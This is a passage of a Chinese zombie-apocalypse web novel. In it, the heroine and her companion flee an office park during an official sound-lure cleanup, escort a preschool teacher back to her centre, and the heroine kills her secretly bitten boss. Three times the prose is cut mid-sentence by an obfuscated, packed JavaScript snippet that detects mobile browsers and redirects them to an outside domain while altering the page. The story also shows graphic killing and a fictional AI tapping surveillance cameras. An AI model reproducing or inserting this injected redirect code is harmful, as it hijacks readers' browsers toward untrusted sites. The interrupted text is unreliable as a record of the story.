“我昨天确实提交了表单。”岳晴边说边从床上坐了起来，她希望自己的声音是清醒的，而不是带着刚睡醒的混沌感，“我和我的朋友被困在商务园的乙栋三楼。希望你们尽快派人来救我们。你们昨天的收集表单，上传的照片有限制，如果我们能够见面，我愿意提供更多的有用信息。你也知道很多事情，电话里是说不清楚的。” “抱歉，我只是负责确认您提供的信息。没有权利立刻申请营救部队前往营救。”电话那边打电话的肯定是真人而非AI，但除了语速有正常人类的变化，叙述的口气十分冷漠，“不过我们会把您的诉求尽快上报，安排营救部队前往。” 岳晴其实也没报多少希望，但听对面这么讲，她还是有点不高兴。 她告诉自己要冷静，别被情绪冲昏头，接到官方的电话很难得，如果换不来营救，那就争取从对方口中得到对自己有利的信息。 “虽然如此，我还是愿意配合你们。毕竟帮助你们获得有用的信息，大家最后获救的机会才会更大。”她主动退了一步，给对面的工作人员一个台阶下。 “很高兴你能这么想。”工作人员接着问了她几个关于林榆商务园的问题，岳晴把知道的如实告诉了她。 “这是我知道的所有了。希望能一直给你们提供情报，但是我和我的朋友现在食物很有限。我们打算去楼下的便利店看看。你能否告诉我，根据这个园区幸存者所提交的信息，是否有人已经去过便利店了呢？如果物资都被拿光了，我们也没必要去了。”为了不引起对面的疑心，她先扯了个谎，接下来才是她真正想知道的，“还有我想知道，大家对大楼外的情况是怎么说的呢？危险程度如何？” “呃，苏小姐，我说实话吧，您所在的区域，我们收到的上报信息寥寥无几，除了您提供的内容非常符合逻辑且条理清晰，其他人员我们无法判断真实性。如果他们已经成为感染者了，他们的信息也就不准确了。”电话那边的工作人员继续说道：“不过，我这里可以告知您的是，鉴于您和许多其他区域的幸存者提供了已感染者具有‘驱声性’这一特点，官方今天将开启第一轮感染者清除工作。本次主要针对的是非楼体建筑内活动的深度感染者。” 深度感染者是怎么界定的？感染者是否有通过药剂或血清注射挽回意识的可能性？岳晴听出来官方这是暂时都放弃探究了……也许，短时间内保证未感染者生存，最大限度恢复秩序更为重要吧。 “那榆林这一片园区的清扫，具体在几点？”岳晴脑子转的飞快，希望得到更多有价值的信息，“还有我想知道，如果清扫，具体实施方式是什么？会不会威胁到我们这些活着人的安全？” “我们的通话正在被录音。以我的级别，很难告诉您更具体的方式。这里建议您今天下午一点到七点最好不要出去，以免遭到误伤。行动组会尽可能在空旷的避难场所和废弃的烂尾楼、巷道实施清扫行动。” …… 岳晴挂断电话，推门出来看到卢宵和王楚城都起了。 王楚城恹恹的，不怎么有精神。卢宵还可以，眼里却也布满血丝。 岳晴看他们昨晚值守辛苦了，让卢宵别再忙活，主动提出由她准备早餐。 简单洗漱后，她煮了一锅清水挂面，放了点干燥蔬菜、胡椒肉肠，还开了两个鱼罐头给守夜的男士们吃。 王楚城看到这丰盛的早餐都惊呆了，“小圆姐，咱这会不会太奢侈了点？” “奢侈吗？”岳晴吃了一筷子面条，清淡寡味，却是健康的味道，“碳水、纤维和蛋白质，缺一不可。” “还不知道什么时候能获救呢？万一咱们一直被困在这里……东西还是得省着点吃吧？”王楚城忧虑地说。 “与其焦虑未来，先看眼下吧。”卢宵说，“今天还不知道有什么麻烦，吃饱了才有力气应对。” 这话岳晴同意，人类永远不知道自己不知道的事，只有把“变化”列入“计划”，“计划”才能趋近于合理。 “哼，宵哥。我看小圆姐说什么你都会赞同。” “我哪有。”卢宵脸色微微泛红。 然而嘴上反对，心里经提醒，也是意识到了。在岳晴准确预言了丧尸危机后，对于她的看法，他总是赞同。他不确定是真的观点一致，还是形成了某种跟随的惯性。 “小王，我问你件事，你接下来是怎么想的？”经过一天一夜的相处，岳晴对王楚城大致有了了解，这人胆子很小，没啥坏心眼，“我是说，如果我打算从这里逃出去，你愿意跟着还是……？” “逃出去？你疯了吗？”王楚城嘴里的肉掉到了饭盒里，“外边多危险啊，我们再等一等说不定就有人来救咱们了。我看网上已经有人说自己被救了呢。” 网上是有相关信息，岳晴也看到了。 信息的真实性有待深究。就算是真的，何时才能轮到他们呢？她不想过分委屈自己。在有能力争取的时候，把希望完全寄托在别人身上不够明智。漫长的等待，到头来或许毫无意义。 饭后，岳晴和卢宵说了自己从官方得到的信息。 “既然他们提到要利用丧尸的驱声性，我猜测是要用特殊的声音频段，最大限度吸引感染者注意力，在引入选定的区域后用爆破性武器或者类似火焰枪一类的武器，高效率歼灭。”岳晴把自己目前想到的说了出来，“如果户外的丧尸能够被吸引走大部分，我们就有希望逃走。” 卢宵听得有些兴奋，“是个好消息！那我们今天时刻保持警惕，一旦尸群被引走，我们立刻逃走！” 岳晴：“王楚城如果不愿意离开， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803857|158271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这里的食物够他撑一段时间了。” 卢宵：“行，晚点再和他说。我怕他情绪太大。迟早都要面对，让他松弛一时是一时吧。 商量好了，两人也没闲着，卢宵把前台那个招财猫的存钱罐拿来，用刀柄把它敲碎了。 王楚城被吸引过来，想看看他们在搞什么。 现在从他们这个角度观察楼下，肉眼可及有上百个感染者，离得比较近的有十来个。 岳晴接过一枚卢宵递过来的硬币，对着下面拜了两拜，喃喃道：“抱歉打扰，我们也是为了活命。” 继而选定一个距离他们较近的驼背男人。这名感染者虽然驼背很厉害，脑袋向前耷拉着，然在眼前可及的人中，他算是状态最好的一个。 岳晴第一次投没中，男人恰巧转动了下身体，她很快又投了第二次，这次打中了。 被三楼扔下去的硬币打中，如果还有意识，绝对不会是没有感觉的，但这个男人只是脑袋略微晃了一下，并没有转过来找是谁扔了自己。 “再多投几个试试。”卢宵递过来一把硬币给她。 岳晴接过来，把近处的几名感染者投遍了，卢宵在她之后又抛了几个较远的，九成以上的感染者对硬币造成的轻微疼痛并无反应。 岳晴托起下巴思索，“我认为——他们完全进入感染状态了。距离昨天事发，已经过去差不多24小时了吧？” “有24小时了。”卢宵转了转脖子放松自己，“和昨天日落时比，下面的感染者数量没有增加，估计商务园这边能被感染的都已经被感染了，剩下的存活者至少这一两天都会苟着不动。感染者数量如没有特殊外力影响不会快速增加。” “我怎么听不懂你们在说什么？”王楚城满脸问号，“能感染的都被感染了，怎么就是好消息了？” 本来想晚点说，可话都到嘴巴边上了，岳晴没忍住，“小王，我们这一两天会离开这里。” “啊？你说真的？你早晨说的不是开玩笑……”王楚城脸色发白，“那……我就不跟你们一起了吧……” 事发以前，岳晴需要卢宵帮忙，不管最开始卢宵把她的话多么当成玩笑听，她确实已经答应作为交换条件把他带回她的安全屋。 而救助王楚城不在她的计划之内，王楚城既然不愿意跟随，那大家都不必再为难。 - 等了快一天，直到下午五点一刻，窗外传来了悠扬的音乐声。 岳晴和卢宵立刻意识到是官方清扫行动开始了！ 两辆卡车停在了最近的十字路口，声音应该是从卡车载着的音响设备上传出的。 那是一首小提琴乐曲，传递的情感悲戚令人动容，曲调亦婉转多变，在无一活人的街道上奏响，活脱脱一曲为末日演奏的哀歌！ 在乐声可及的四面八方，感染者纷纷迈着笨拙的脚步，急迫又迟缓地朝声源地挪了过去。 15. 打工人迎战丧尸末日15 岳晴和卢宵等了大概20多分钟，楼下的感染者肉眼可见的少了。 零星几个走的慢的，也已经到了接近十字路口的小花园。有两三个比较笨的，被卡在干涸的喷泉池里，他们一直在向声源方向迈步，身体根本没有挪动分毫。 这一招只能作用于户外游荡的感染者。楼里的感染者或许也能听见声音，但因为意识完全丧失，他们已经不懂得推开防火门、不会乘坐电梯出去了。 岳晴把手里的望远镜交给了卢宵使用，“你看路口那里，我发现那两辆卡车在缓缓开了。” “我大概猜出来是要去哪儿。往东南那里有一栋大厦，原本是XX公司的总部，上个月刚刚搬迁走。以前我跑步时经过，去那楼的一层便利店买过水。我记得大厦是半环形的，有个中庭，他们没准想把这些人先尽量引过去一批，再集中开火清扫。” “很有这个可能。在十字路口太分散了，我看也没出动装甲车，那些负责清扫的部队，在路口根本无处潜伏。”岳晴粗略分析着，“而且你注意到没？这音乐选的也挺有学问的。这些感染者听了之后没有暴走，他们看起来状态很平和，好像被音乐安抚了，或者说催眠了。” “官方应该测试过了。这个音乐的频段对他们是最有利的。”卢宵捡起地上早已准备好的两个背包，递给岳晴一个，里面装着48小时食水及一些简易求生物资，“准备一下，再过五分钟，我们就出发。” 岳晴点点头，原地蹲下把刀绑缚在包上，反复拉拽数次确保牢固性，站起来又试了试绑的位置合适度，对于她来说迅速拔刀是否顺手，一切检查完毕，对旁边比自己更快些的卢宵比了个“OK”手势。 北方五月下旬，下午六点左右，天光还很充足。 随着小提琴乐曲的渐远，楼下游荡的感染者绝大部分都被吸引走了，他们视线所及的感染者数量降为个位数。 在和王楚城简短告别后，卢宵、岳晴没走楼内的路线，直接通过窗户，分别用消防缓降器降落到了一层。 挨着他们的落地点有一家便利店，苏小圆在这边上班一年多，开始的一年经常光顾这家店。 她冬天会下来买关东煮，夏天则会买瓶冰镇的乌龙茶。 有一次，苏小圆写PPT写得低血糖，电脑上的字看得都费力了，就和另个同事来这家便利店吃了点东西才上去。 结果回到工位，组长吴芯问她去哪儿了？身上怎么一股烤肉味？李霖在一旁煽风点火，说没准和那谁去楼下开茶话会了…… 吴芯训了苏小圆几句，让她不要长时间离岗。 苏小圆想为自己辩解，可是她一身便利店的肉串味道，一下子词穷了。 因为这段不愉快的经历，自此她就很少再来这家小便利店了…… 早已被苏小圆冷落的便利店的门，如今残了半扇，门上都是血。 而由于缺失玻璃的那半扇门，是上半部分玻璃破了，下面的还在，岳晴透过血忽淋拉的玻璃门，发现里面有两个感染者被关在里面没出来。 他们一个像是还在挑选商品的顾客，在店里无知无觉地转圈圈。 另一个则是被门卡住，面目狰狞而茫然，穿着一身血衣向外一味迈着步子，却始终站在那个位置，不得前进…… 这一幕不知道怎么让岳晴想起了苏小圆。她的生活何曾不是在错误的场所里一直做着无用功？ “怎么了？别怕。”卢宵看她愣住，以为是被吓坏了，压低声音说，“他们视觉好像没有听觉灵敏，玻璃门上都是血，你只要别走近惊动他们，应该看不清楚你。” “我没事，走吧。”岳晴收回心神，“我们小心点。” 卢宵轻轻“嗯”了声，握着唐刀主动绕到前面护着后方的岳晴，在前面警觉地带路。 一路上算是挺顺利的，没有遇到任何感染者拦路。 仅仅有零星几个感染者，却因为各种原因被卡住、被关在大楼里过不来，对他们毫无影响。 岳晴和卢宵很快过了马路，到达街边绿化带，只要再往前走五六十米，就是露天停车场了。 希望就在眼前，岳晴压力去了一半，脚步逐渐变得轻快。 他们走到一棵泡桐树下，突然听见头顶上方传来奇怪的声音：“咕咕……咕咕咕……咕……” 像是鸟叫，但绝对不是鸟叫。 两人抬头看向高处，发现树的主干上居然蹲着个人…… 卢宵立刻警觉地拔出刀，“什么人在上面？下来！” “你们还是正常人吗？”一个颤抖的女声从树上飘下来，她没有得到下面两人的回应，最后说：“你们等等我先下来。” 从树上下来一个女人，她看起来惊慌失措，站也站不太稳，“我是附近早教中心的老师，我是出来找吃的，结果被一群丧尸追，我只能爬到了树上。刚刚那边路口放歌，我看他们走了，我本来想下来的，就看见你们过来了。我怕你们是他们，才装鸟叫试试你们，我没，没恶意的……” 城市里种的绿化树，大多数相对笔直，不像植物园或者野外那种盘根错节的树好爬，女老师能利索爬到这棵泡桐树上，颇有两把刷子，也许小时候在农村生活过，有相关的生活经验。 “是商务园中央岛兰州拉面楼上那个早教中心？”岳晴有点印象。 “对对！就是那个。”女老师嘴唇发白，说话也哆哆嗦嗦的，“你们刚才过来有没有经过便利店或者面包店什么的？里面还有吃的吗？我们馆里现在有6个送来半日托的孩子，和另外两个女老师。” “我们经过一个便利店，里面应该还有吃的，但里面有两个感染者。”岳晴从口袋里拿出一块巧克力给她，“我们吃的也不多，你先垫垫。” “谢谢。”女老师拿了巧克力，手指颤抖着扒开，把里面小块的巧克力喂到嘴里，“我……我……”呜呜咽咽不知道她想说什么，边嚼边哭了出来。 岳晴懂这种感受，太恐惧太绝望了！ 六个孩子，三个大人，就算从便利店里拿了物资回去，那能够撑多久呢？ “我们走吧——”岳晴拉了卢宵袖子一下，没能拉动，朝斜上方看过去，发现卢宵的表情有点不对劲儿，“你难道想帮他们？” “可以吗？”卢宵突然紧紧反握住她的手，这有恳求的意味，还有希望她能和自己统一战线的意思，“我们从刚才那个便利店帮他们拿吃的，送她回去，我们就走。” 听他这么说，岳晴感觉自己脑袋差点冒烟了。 自认识以来，他们对事情的判断几乎是一致的，没想到在关键时刻出现了分歧！ 她差点要骂他圣父心了，与之对视，见卢宵用他水汪汪的蓝色眼睛恳求地看着自己……瞬间张不开嘴。 “每次我都同意你说的，也都照你说的做了。这次你能听我一次吗？” “你想过后果没？”岳晴腮帮子绷紧，怒冲冲瞪着他，“如果我们……” “万一出什么岔子，我挡在你前面。感染转化期很长，我至少有一两个小时的清醒时间。就算我被咬了……也会成为你的肉盾。护送你到停车场，到时候你就开我的车回去……” “求你们了……”本来以为死定了的女老师看到希望，直接哭着跪下来求人，“就帮帮我们吧！好人一生平安。” 见鬼的好人一生平安！ 执行任务时，岳晴会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808762|158271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完全代入原主身份，基本不想自己的事。可这句话触发了她的炸点，让她想到在自己的那个世界里，她因为一时出于善意的判断，结果害的自己双腿瘫痪，还瞎了一只眼……请问谁保她好人一生平安了？ “算了，我不该强求你。”卢宵双睫失望地垂下，把车钥匙放到她口袋里，扣好摁扣，“其实你现在也不需要我了。你可以现在就自己离开。” “你说的什么屁话啊！”她比刚才还生气，她确实没什么善心，却清楚如果没有卢宵，自己也活不到现在，她干不出抛下队友的事，估计苏小圆的主观意识也不允许她这么做，“别废话了，走吧，速战速决！” 他们退回刚刚那个便利店，卢宵冲进去迅速杀了两个感染者。 确认安全后，三人用店里理货的五个货筐，满满装了五筐吃的。 岳晴全程心跳加速，边拿东西边留意外边的尸群是否去而复返。还好他们的运气多少还是有那么一点的，事情进展得很顺利。 最后，卢宵和岳晴一人拿着两筐吃的，饿到没力气的女老师拿了一筐，三人沿着各栋建筑的边缘朝中央岛的位置过去。 林榆园区有五座商业楼，两座中央岛。 中央岛是在这里打工的人，对商务楼间的两座两层岛屿形状的建筑的戏称。 如果把五栋高大的商务楼比作五艘大船，那中央岛就是被帆船围在中间的两只小艇。 岳晴记得早教机构所在的中央岛，一层是饭店、电子产品体验店，二层是早教机构和一家按摩店，通过建筑外置的楼梯可直接到达二层。 既然早教机构在其中一座中央岛的二层，他们就不用再进入大楼和那些出不来的感染者正面刚。她最终同意卢宵这么做，绝对不是无脑的妥协。 三人到达中央岛后，顺着外置的旋转楼梯上到位于二楼的楼梯间，走在最前面的卢宵忽然停住了脚步—— “先别动……有动静。”他把货筐放下，左手灵活伸到身后拔出刀，“我先过去——” 岳晴点点头，比了个“小心”的嘴型。 女老师在旁吓得发抖，一只手牢牢拽住楼梯扶手…… 卢宵没有直接过去，而是从转角处探出一点头，不出预料果然有情况，他看见有一个穿polo衫、牛仔裤的男性感染者正在走廊里游荡。 他有点想不通这里下楼很容易，怎么还会有感染者出没？难道是因为走廊里隔音比较好，没被刚才的声音吸引走吗？管不了那么多了，他告诉自己必须解决这个人，他们才能把人送回去。 得益于常年锻炼，他的脚步能够压得很轻，轻到几乎发不出太多的声音。趁着感染者背过身朝内走时，他突然俯身冲了过去，按照提前计算好的，利索几刀把人结果掉了。 卢宵松了口气，正想转身去带岳晴她们过来，哪料身后倏传来“呼哧呼哧”的呵气声……他瞬间头皮发麻，心想糟了，转身提刀欲砍……一阵刀风先他一步落下，离他极近的一名女性感染者痛苦地缩回手去够自己的后脑…… 卢宵反应极快，抓住时机绕到一侧，连着耳朵削掉了女感染者半块头皮，紧接着再全力补上一刀结束了战斗。 感染者倒下后，卢宵看到对面站着的面无血色的岳晴，仍然维持着双手握刀的姿势，胸口剧烈起伏不止，惊恐看着倒地的女人。 “你……为什么不多看一眼？她刚在就在另侧走廊厕所那里站着……”岳晴恼怒又后怕，质问他都没力气，随即却虚脱地笑了，“不过你昨天让我练的，现在派上用场了。” “昨天栽树，今天乘凉。谢谢你救我一命。”他用没拿刀的右手环住她的肩膀，轻轻和她抱了抱，庆祝逃过一劫。 16. 打工人迎战丧尸末日16 岳晴也拍了拍他的肩膀，“别忘了，我们可是战友！你下次一定要小心，我们好不容易都到门口了，你差点送人头。” “知道了，我们进去吧。”卢宵点点头。 他自己主动抱的，手臂一松开，岳晴注意到他耳朵红了。如果不是这个时刻，她真想恶劣地逗他两句，认识好几天了，这小子还是那么容易害羞。 女老师轻轻敲了门，没人应，她又敲了几下，“是我，小茹，慧慧开门，我带着吃的回来了。” 半晌，门开了一条缝—— “你，你……冉姐，你还好吧？”门里传来一个怯怯的女声。 岳晴透过打开的门缝看到门里横着个桌子，有人好像手里拿着一个长杆型的器具，不知道扫帚还是什么棍子，从门缝里同时还飘出一些儿童哭闹的杂音。 “多问几句，冉姐出去那么久了，也不知道她……”另一个女声在旁审慎提醒，“冉姐，你从哪儿找的吃的啊？外面那么危险……” “我出去遇到了好多丧尸，我根本顾不上找吃的，爬到路边桐树上蹲了半天多，原本以为死定了。后来遇到两位好心人，他们带我去便利店拿了吃的。可能这家便利店位置比较偏吧，店里还有好多吃的。” “冉姐，那你没被咬吧？”开始那个女孩问。 “没有，我跑得快啊，你忘记了，我以前是国家二级短跑运动员。” 岳晴扶额，心想怪不得，跑得快，能上树，冒冒失失出门找吃的，靠这些以前积累的体能优势捡回一条命，也是个人才啊。 “你快进来吧，冉姐，对不起，我们只是害怕。”里面传处挪桌子的声音，然后门打开了，露出两张年轻女老师的面庞。 “这两位是救我们的人。”宋冉带岳晴和卢宵进屋后，给他们介绍，“这两位是我的同事。” 岳晴对那两个女老师点了点头，把装食物的筐子原地放下，下意识环顾早教中心的前厅——左手边有个教室的门半开着，从里面传来孩子咿咿呀呀的说话声和断断续续的抽泣声。 “你两都出来了，没人看孩子吗？”宋冉年纪看着比留守的两位老师都大，听她质疑的口气，应该是这边的老板或者负责人。 “冉姐，还没顾上和你说呢。”小茹下巴往门口的鞋柜点了点，“就在你们过来前二十分钟吧，有个孩子的家长来了。刚才你敲门，我们怕出状况嘛，就一起过来看，那位家长暂时代我们照顾一下孩子们。” “家长？”宋冉看了眼鞋柜上那双打眼一看就价格不菲的高跟鞋，面上掠过几分不安。什么家长能做到在这个状况下来接孩子？如果真要着急来，也是昨天就来了，今天怎么突然来了？ “昂，是孩子的姑姑。真的是家长，以前咱们和她见过，她就在旁边乙栋22层上班。” 岳晴听到熟悉的地点，脑袋“嗡”了一声，她刚才没多想，这会儿眼睛再次看向那双高跟鞋，某品牌的高奢鞋款，在尚义传媒穿的起的恐怕只有一个人…… 所以到底是谁跑过来了，她已经猜到了。 “恭喜萃取者岳晴，精神力萃取进度已达58%，萃取进度过半，请再接再厉！” 天空中弹出的进度条增长提示，打断了岳晴的思绪。她轻轻呼出一口气，这次增长得不少，有10%，是对她和卢宵把老师送回来的奖励。 不过这回她没有特别开心。因为帮助早教中心老师搜集食物再送她回来，本不在她的计划中，如果因为这个决定产生变数，那便是前功尽弃。接下来，她必须在符合原主苏小圆价值观前提下，守护这个成果，并完成后面的进度。 “卢宵，我突然感觉肚子有点不舒服。我想去上个卫生间，我们歇会儿再走吧？” 卢宵刚才看到她盯着那双鞋半天，隐隐察觉了异样，恐怕不是为了上卫生间这么简单，应该还有别的缘故。不过，就像刚刚在外面他说过的，他愿意支持她的大多数决定，于是点了点头。 “谢谢，你等等我啊。” 女老师带岳晴去中心的卫生间，卢宵被招待在前厅坐下来休息，老师们给他端来一壶热水，又贴心地送上一次性纸杯。 关上门，岳晴打了个响指，呼叫系统AI拉斐尔—— “岳晴，好久不见，有什么能够帮助你的吗？” “拉斐尔，我时间不多，我长话短说。丧尸爆发也有一天多的时间了，你应该也搜集到了足够的样本信息吧？请你针对因为抓、咬方式被感染的这批人，分别对于感染一小时内、感染三小时内的人，提供十条他们的感染特征。请你尽量挑选易于我辨别的特征。” 三小时以上感染特征明显，再问没意义。 “好的，岳晴。拉斐尔正在根据现有信息生成结果……请稍等。” 拉斐尔此次耗费了约十秒钟时间，它需要潜入联网监控设备得到信息，再结合其他各种渠道信息，经过鉴伪后的数据分析得出结果，很快了，但岳晴仍然感到度秒如年。 根据拉斐尔提供的特征：99%的感染者，在2个小时以后，丧失70%-80%的意识，而感染一小时内的感染者，逐渐丧失10%到30%的意识。 他们共同的特征包括：肢体变得笨拙、反应速度变慢、脾气暴躁易怒、眨眼速度变慢，身体变得肿胀，时不时个别身体部位还会痉挛…… 卢宵看到岳晴从卫生间出来，立刻招呼她过来坐下。 “卢宵，我突然肚子很不舒服，可能中午的那个罐头不新鲜。”岳晴捂着肚子，“我们能歇会儿再走吗？” “你说什么时候走就什么时候走。”卢宵从桌上抽出一个干净纸杯，从壶里倒了半杯给她，“喝点温开水缓缓。” “谢谢你体谅。”岳晴接过来，喝了一口，没继续坐着，而是端着杯子走向教室方向。 站在门口，她看到有个卷发的女人正坐在地上带一个小女孩读绘本，另外两个老师则忙着哄其他孩子。 “姑姑，你是不是累了？怎么不讲了？”小女孩仰头看着卷发女人，“姑姑累了，茜茜就不听了。” 卷发女人穿着一身黑色长袖的春季连衣裙，即使坐在地上也是很优雅的姿态，违和的点在于她握着绘本的手轻微抖动，有点像是轻度的帕金森症状。一般而言，如果一个人因为低血糖或者恐惧发抖，她的面部也该有相应的变化，如刚才他们在外边遇到的宋冉老师，她的发抖就是又饿又惧导致的，她面部呈现出既害怕又虚弱的样子，动作和面部表情统一、合理。 可眼前的女人，眼睛却直愣愣看着书本，像是陷入了癔症，半天才像从梦里惊醒般缓过神，“乖宝宝，姑姑去喝点水，你……你自己玩一会儿……” “好！”小女孩乖巧应了一声，看自己姑姑站起来，还差点摔倒了，奶里奶气送上关心，“姑姑慢慢。” “姑姑没事。” 刘芝蕊走出教室，就看到了门口站着的“苏小圆”，这张脸她记得，但是名字记不全了。 “你是吴芯那个组的苏小芳？” “刘总，是我，但我叫苏小圆。” 公司统共也就六七十号人，苏小圆在公司干了快两年，对于这种小公司来说已经是老员工了，她的老板刘芝蕊却连她名字都记不清楚。 明明去年年会，她派苏小圆去做吃芥末饼干的游戏，看她辣的眼泪都流下来了，笑到不行，从头到尾叫了好几遍她的名字的。 “哦，抱歉，年纪越大记忆力越不好了。”刘芝蕊嘴上致歉，面上却没有什么抱歉的意思，说话有气无力，“听老师们说，是你把她们主管送回来的，还带了好多吃的来？你可真厉害！” 最后这句可能是刘芝蕊发自内心说的，可是在苏小圆记忆里，保留了太多她平时阴阳员工的事情，岳晴怎么听她夸人，怎么都感觉怪怪的。 岳晴没搭她的茬儿，“刘总，我后来遇到申总，他说办公室乱了，他逃出来了。刘总是怎么逃出来的呢？” “别提了……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812611|158271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘芝蕊眼角眉梢流露出一种少有的颓丧，这是岳晴之前不曾见到过的，“你们第一波人出去后，没过多久不知道从哪里冲出一个丧尸，大家乱成一锅粥，我回自己办公室反锁上了门，等到安静下来，屋子里的人都不在了，我就把大门关上了。” 刘芝蕊口中叙述的版本，岳晴猜测应该半真半假。但哪句真，哪句假，无从判断。 “我看楼下人少了，就从安全梯下来接我侄女。我是昨天早晨把她放在这里托管，本想下午接她回去的，没想到……刚刚我下来有两个丧尸一直跟着我过来，还好我跑得快。”刘芝蕊想要拉岳晴的手套近乎，被岳晴敏感地躲开了，“小苏，你看我们多有缘分呢，共事一场，在这里也能遇到。你们反正也是要去停车场，能不能带我和我侄女一起去？” 原来门口刚杀的那两位是她引来的啊……岳晴无语。 “刘总，你听我说现在外边很乱，这……带着两个人走……还有一个孩子，我们压力很大的……”岳晴表现出为难的样子，她看了看旁边的房间，“我们要不要进去细谈？” 她们现在就站在教室门口，房间里有女老师们，说话没那么方便。刘芝蕊猜测岳晴是想进去敲竹杠，为了钱或者其他什么目的，想到这一层，刘芝蕊的和颜悦色维持不住了，按捺着自己身体中逐渐涌起的暴躁，很不悦地说了声，“进去就进去！” 卢宵就坐在不远处，把岳晴和刘芝蕊说的听了七七八八。他对申应晖的印象太深刻了，所以对这位岳晴不知道什么级别的上司，也没什么好印象。 岳晴和女人一进屋，他便起身走到了门口。 屋里没过多久传来了哭声，卢宵听出不是岳晴在哭，他就抱着双臂站在那里没动。 “刘总，怎么还没说就哭了呢？”岳晴口袋里就有纸巾，但她没去掏，“遇到这种离奇的事，我们都不容易。” “我知道你有目的，你直说吧，是想要钱，还是想要什么？”刘芝蕊边哭边跺脚，岳晴不知道自己还没说话她怎么这么大情绪，“想要多少别磨叽，我只是想带侄女回家啊！” 她想要回家，谁不想回家呢？没有直接答应带她去停车场怎么好像欠了她似的，她还委屈上了，岳晴气笑了，“你凭什么上来就以为我是想要钱，想要提条件？” “不然呢？”看岳晴不高兴了，刘芝蕊突然有点后悔自己刚才没忍住对岳晴说那些话，她也不知道自己怎么突然这么生气？此刻，她的胸口特别闷，想要骂人，还很口渴。低头看见小桌上岳晴端进屋的那杯水，她二话不说端起水来“咕噜咕噜”一饮而尽，喝完还伸出舌头，诡异地舔了舔嘴角…… 岳晴眯眼观察她的动作，视线从她端水杯的手指，挪到她伸出袖子的手腕，停留片刻，最后游动到粉底液斑驳不堪的脸上，“刘总，听说你是国外知名大学毕业，学识肯定不浅。你觉得如果被外边感染者咬了，会怎么样呢？” 刘芝蕊：“能怎么样？变丧尸吧……” 岳晴：“难道没有例外吗？” “啊……？”刘芝蕊心虚地低下头，她的手臂在发抖，自己也察觉到了，双手没有安全感的紧紧交握在一起，“我不知道，会有吧，小说里……不是有人不会被感染吗？” “那你觉得自己是那个幸运儿吗？”岳晴站起来，俯视身体每隔一秒抽搐一下的女人，从背后抽出了刀…… …… 卢宵站在门外等的有些不耐烦，岳晴进去的时间太长，他担心会出什么问题。 正决定进去看看，突然听见接连几声凄厉的惨叫，他推门看见瘫坐在儿童椅上的刘芝蕊，她胸口被刺穿了，汩汩向外淌着发黑的血液，但致死原因应该是被割断了颈动脉…… “她被咬了。我，杀了她。”岳晴两眼略微失焦，哪怕走向刘芝蕊前就做了心理准备，此刻还是不能够全然冷漠视之。 杀死一个相对清醒的初期感染者，比解决掉那些重度感染者更有负担，这份心理冲击实在太大！ 17. 打工人迎战丧尸末日17 “你看她的手腕上——”岳晴用刀挑起刘芝蕊的胳膊，挨着袖子边缘的手臂有一道带着青紫瘀痕的牙印儿，齿痕深深切入皮肤，淤积的血渍已经变成了黑红色。 “她是我的老板，昨天办公室乱了之后，她应该在22楼平安躲了一天一夜。刚才她在楼上看见外边感染者变少了，估计以为楼里也安全了。她自己从楼上跑下来，完全没受伤的话，可能性不大，我才试探……” “我知道。”卢宵过来抱住她，体会到她刻意把人引到屋子里才动手的这份用心，“别想太多，我去和老师们说一声。” 卢宵和宋冉她们说了刘芝蕊因感染被处理的前因后果，老师们都吓坏了。 虽然大家都不愿意开门抛尸，考虑到中心还有六名儿童，如果尸体放在室内很膈应，众人便谨慎地开门查看，确定没什么问题后，才把尸体扔了出去。 卢宵等岳晴缓了缓，两人便打算离开。 这时，那名叫茜茜的小女孩突然哭着从教室跑出来，“慧慧老师，我姑姑呢，姑姑不见了……！” 岳晴有些不想面对这一幕，别开了眼睛，紧紧握着刀柄的手轻微发颤。卢宵看出来她的不安，虚揽着她的后背，轻轻拍了背心两下安慰她。 慧慧老师年纪看着不大，对待孩子却很有一套，蹲下身子耐心安抚茜茜，“刚才姑姑有点不舒服，茜茜不是看到了吗？姑姑出门去看医生了，让老师们先陪茜茜玩。茜茜是个乖宝贝，会听老师的话对吗？” “茜茜会听话的……”小女孩渐渐止住了哭泣，摸着肚子鼻子一抽一抽地说：“老师，我饿了。” …… 岳晴看到这一幕，内心极为复杂，她不知道该做点什么…… “你的口袋在震动。”卢宵打断了她的思绪。 岳晴拿出一看，是个陌生号码。 